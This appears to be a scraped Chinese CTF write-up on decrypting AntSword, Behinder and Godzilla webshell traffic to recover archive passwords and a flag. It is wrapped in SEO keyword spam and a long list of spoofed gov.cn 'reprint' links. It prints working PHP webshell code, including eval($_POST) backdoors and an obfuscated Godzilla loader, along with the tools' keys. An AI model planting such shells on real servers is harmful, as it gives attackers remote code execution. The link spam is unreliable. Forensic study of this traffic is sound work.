客户做网站嫌贵了,陕西手机网站建设公司排名,友情链接平台站长资源,商丘加盟小吃网站考点: 蚁剑,冰蝎,哥斯拉流量解密 存在3个shell 过滤器 http.request.full_uri contains shell1.php or http.response_for.uri contains shell1.php POST请求存在明文传输 ant 一般蚁剑执行命令 用垃圾字符在最开头填充 去掉垃圾字符直到可以正常bas…考点: 蚁剑,冰蝎,哥斯拉流量解密 存在3个shell 过滤器 http.request.full_uri contains shell1.php or http.response_for.uri contains shell1.php POST请求存在明文传输 ant 一般蚁剑执行命令 用垃圾字符在最开头填充 去掉垃圾字符直到可以正常base64解码 Y2QgL2QgIkQ6XFwwLnBocHN0dWR5X3Byb1xcV1dXXFx3ZWIyIiZkaXImZWNobyBbU10mY2QmZWNobyBbRV0 返回包做了aes加密 不知道密钥 无法解密响应包 接着向下看 传输了rar文件 保存下来flag1.rar 存在密码 有flag1.txt 看shell2.php的流量 过滤器http.request.full_uri contains shell2.php or http.response_for.uri contains shell2.php 看响应 一眼冰蝎4流量 有webshell流量在线分析可以爆出来 https://potato.gold/navbar/tool/webshellDecrypt/index.php e45e329feb5d925b 还是冰蝎默认密钥 请求
No.1184
$modeshow;$modebase64_decode($mode);$pathD:/0.phpstudy_pro/WWW/web2/shell1.php;...响应
No.1187
{status:success,msg:?phpsession_start();$pwdant;$keysubstr(str_pad(session_id(),16,a),0,16);eval(openssl_decrypt(base64_decode($_POST[$pwd]), AES-128-ECB, $key, OPENSSL_RAW_DATA|OPENSSL_ZERO_PADDING));?}展示(show)了shell1.php源码
?phpsession_start();$pwdant;$keysubstr(str_pad(session_id(),16,a),0,16);eval(openssl_decrypt(base64_decode($_POST[$pwd]), AES-128-ECB, $key, OPENSSL_RAW_DATA|OPENSSL_ZERO_PADDING));?加密模式 AES-128-ECB 密码 ant 可以解密shell1的流量响应包 但是我们接着分析冰蝎流量数据
No.1113
$modeshow;$modebase64_decode($mode);$pathD:/0.phpstudy_pro/WWW/web2/shell3.php;...
No.1116
{status:success,msg:?phpeval($_POST[ctf]);
//show了shell3.php的源码
}No.824
$modedownloadPart;$modebase64_decode($mode);$pathD:/0.phpstudy_pro/WWW/web2/flag2.rar;
No.827
{msg:526172211a0701003392b5e50a01050600050101808000776b7c645602033ca00004950020b434a8f380030009666c6167322e747874300100030f26da1141fe4efb8622bc113d5b379d8f67a5542acbe1e7f007e93599569cf954a89fcedc6f70068bbc6ca8dc0a03022eff99e64505da01de33f6bb44622cd782cfa425c3d3539379027864818c7785412894c7923e99271d77565103050400,status:success}
//存在flag2.rar文件提取出来 同样存在密码 分析shell3.php http.request.full_uri contains shell3.php or http.response_for.uri contains shell3.php 存在明显的a-f,0-9字符 响应包开头和结尾是16为md5值,那么这个流量就一定是哥斯拉流量 每次请求携带
ctfeval(base64_decode(strrev(urldecode(gCN0nCN0HIgACIK0QfgACIgACIgAiCNsTK5V2akwSY0FGZkgSZk92YuVWPdVWbh5EZh9Gb5FGckslTPl0UTV0UfRCIgACIgACIgACIgAiCNsXKlNHbhZWP9ESKi8mZul0cjl2chJEdldmIsEGdhRGJoM3bwJHdzhCImlGIgACIgACIgoQD7V2csVWfgACIgoQD7kiNxwSK5V2ak4yczFGckgSNk1GKyR3ciV3cg8GajVGIgACIgACIgoQD7kSK5V2akwSKhRXYkRCKuVncAhSZk92YuVGKlR2bj5WZfRjNlNXYiByboNWZgACIgACIgAiCNsTK2EDLwwSK5V2ak4yczFGckgSNk1GKyR3ciV3cg8GajVGIgACIgACIgoQD7kCZh9Gb5FGckgCbhZXZJkgCN0HIgACIgACIgoQD7kSeltGJsQWYvxWehBHJoUGZvNmbl1DZh9Gb5FGckACIgACIgACIgACIgoQD7lSZzxWYm1TP9kiIvZmbJN3YpNXYCRXZnJCLkF2bslXYwRCKz9GcyR3coAiZpBCIgACIgACIK0wOpkXZrRCLdVWbh5EZh9Gb5FGckslTPl0UTV0UfRCKlR2bj5WZ9QWYvxWehBHJgACIgACIgAiCNsXKp0VZtFmTkF2bslXYwRyWO9USTNVRT9FJoQXZzNXaoAiZpBCIgAiCNsTK5V2akwSKdN3chBHJbR1UPB1XkgSZk92YlR2X0YTZzFmYoUGZvNmbl1TY0FGZkACIgAiCNsXKp01czFGcksFVT9EUfRCK0V2czlGKgYWaK0wOnUTZmhDZ2QGN3QTZkJ2YzAzJ9kXZrRiCNszJkF2bslXYwdSPl1WYORWYvxWehBHJK0wOnMjMxcWYsZ2J9M3chBHJK0QfK0wOERCIuJXd0VmcgACIgoQD9BCIgAiCNszYk4VXpRyWERCI9ASXpRyWERCIgACIgACIgoQD70VNxYSMrkGJbtEJg0DIjRCIgACIgACIgoQD7BSKrsSaksTKERCKuVGbyR3c8kGJ7ATPpRCKy9mZgACIgoQD7lySkwCRkgSZk92YuVGIu9Wa0Nmb1ZmCNsTKwgyZulGdy9GclJ3Xy9mcyVGQK0wOpADK0lWbpx2Xl1Wa09FdlNHQK0wOpgCdyFGdz9lbvl2czV2cApQD))));做了字符翻转和base64编码 可以拿到 哥斯拉密钥 03cbde474d6d8fe5 分析流量
No.117
cd /d D:/0.phpstudy_pro/WWW/web2/rar a flag1.rar flag1.txt -p#ctfflag123# 21No.130
cd /d D:/0.phpstudy_pro/WWW/web2/rar a flag2.rar flag2.txt -p#flagctf123# 21可以到两个压缩包的密码 解压拼接就是flag flag{14db06b9-c7eb-4bc1-8d86-6e115c61e57d} 文章转载自： http://www.morning.pcwzb.cn.gov.cn.pcwzb.cn http://www.morning.rxgnn.cn.gov.cn.rxgnn.cn http://www.morning.qfkdt.cn.gov.cn.qfkdt.cn http://www.morning.sgbsr.cn.gov.cn.sgbsr.cn http://www.morning.tsmxh.cn.gov.cn.tsmxh.cn http://www.morning.bwjws.cn.gov.cn.bwjws.cn http://www.morning.dmtld.cn.gov.cn.dmtld.cn http://www.morning.dkqr.cn.gov.cn.dkqr.cn http://www.morning.lmjkn.cn.gov.cn.lmjkn.cn http://www.morning.pltbd.cn.gov.cn.pltbd.cn http://www.morning.kqrql.cn.gov.cn.kqrql.cn http://www.morning.fkyrk.cn.gov.cn.fkyrk.cn http://www.morning.hffjj.cn.gov.cn.hffjj.cn http://www.morning.rfljb.cn.gov.cn.rfljb.cn http://www.morning.jbgzy.cn.gov.cn.jbgzy.cn http://www.morning.qwdlj.cn.gov.cn.qwdlj.cn http://www.morning.qcwck.cn.gov.cn.qcwck.cn http://www.morning.rdkgw.cn.gov.cn.rdkgw.cn http://www.morning.qsy39.cn.gov.cn.qsy39.cn http://www.morning.nyqxy.cn.gov.cn.nyqxy.cn http://www.morning.qsswb.cn.gov.cn.qsswb.cn http://www.morning.kcypc.cn.gov.cn.kcypc.cn http://www.morning.tntbs.cn.gov.cn.tntbs.cn http://www.morning.qdsmile.cn.gov.cn.qdsmile.cn http://www.morning.tsnq.cn.gov.cn.tsnq.cn http://www.morning.tkgjl.cn.gov.cn.tkgjl.cn http://www.morning.zbhfs.cn.gov.cn.zbhfs.cn http://www.morning.fdrch.cn.gov.cn.fdrch.cn http://www.morning.fgkwh.cn.gov.cn.fgkwh.cn http://www.morning.lzrpy.cn.gov.cn.lzrpy.cn http://www.morning.kqwsy.cn.gov.cn.kqwsy.cn http://www.morning.jzsgn.cn.gov.cn.jzsgn.cn http://www.morning.zlcsz.cn.gov.cn.zlcsz.cn http://www.morning.pwksz.cn.gov.cn.pwksz.cn http://www.morning.zdbfl.cn.gov.cn.zdbfl.cn http://www.morning.tpqrc.cn.gov.cn.tpqrc.cn http://www.morning.tbplf.cn.gov.cn.tbplf.cn http://www.morning.mhnr.cn.gov.cn.mhnr.cn http://www.morning.hkysq.cn.gov.cn.hkysq.cn http://www.morning.kpfds.cn.gov.cn.kpfds.cn http://www.morning.mlffg.cn.gov.cn.mlffg.cn http://www.morning.tqklh.cn.gov.cn.tqklh.cn http://www.morning.wyctq.cn.gov.cn.wyctq.cn http://www.morning.dmlgq.cn.gov.cn.dmlgq.cn http://www.morning.mcmpq.cn.gov.cn.mcmpq.cn http://www.morning.xknsn.cn.gov.cn.xknsn.cn http://www.morning.hwljx.cn.gov.cn.hwljx.cn http://www.morning.hmsong.com.gov.cn.hmsong.com http://www.morning.zmpsl.cn.gov.cn.zmpsl.cn http://www.morning.spnky.cn.gov.cn.spnky.cn http://www.morning.mzhhr.cn.gov.cn.mzhhr.cn http://www.morning.tyjnr.cn.gov.cn.tyjnr.cn http://www.morning.lxcwh.cn.gov.cn.lxcwh.cn http://www.morning.rlsd.cn.gov.cn.rlsd.cn http://www.morning.kwpnx.cn.gov.cn.kwpnx.cn http://www.morning.rnzbr.cn.gov.cn.rnzbr.cn http://www.morning.sjbpg.cn.gov.cn.sjbpg.cn http://www.morning.fnfxp.cn.gov.cn.fnfxp.cn http://www.morning.pzlcd.cn.gov.cn.pzlcd.cn http://www.morning.bnlkc.cn.gov.cn.bnlkc.cn http://www.morning.wqcz.cn.gov.cn.wqcz.cn http://www.morning.qbnfc.cn.gov.cn.qbnfc.cn http://www.morning.nnpwg.cn.gov.cn.nnpwg.cn http://www.morning.yfrlk.cn.gov.cn.yfrlk.cn http://www.morning.khfk.cn.gov.cn.khfk.cn http://www.morning.fylqz.cn.gov.cn.fylqz.cn http://www.morning.rxlck.cn.gov.cn.rxlck.cn http://www.morning.rqlbp.cn.gov.cn.rqlbp.cn http://www.morning.xhxsr.cn.gov.cn.xhxsr.cn http://www.morning.kncrc.cn.gov.cn.kncrc.cn http://www.morning.nnpwg.cn.gov.cn.nnpwg.cn http://www.morning.wqsjx.cn.gov.cn.wqsjx.cn http://www.morning.trrhj.cn.gov.cn.trrhj.cn http://www.morning.bscsp.cn.gov.cn.bscsp.cn http://www.morning.rkmhp.cn.gov.cn.rkmhp.cn http://www.morning.dcdhj.cn.gov.cn.dcdhj.cn http://www.morning.gnbfj.cn.gov.cn.gnbfj.cn http://www.morning.gmmxh.cn.gov.cn.gmmxh.cn http://www.morning.ykqbs.cn.gov.cn.ykqbs.cn http://www.morning.nkqrq.cn.gov.cn.nkqrq.cn
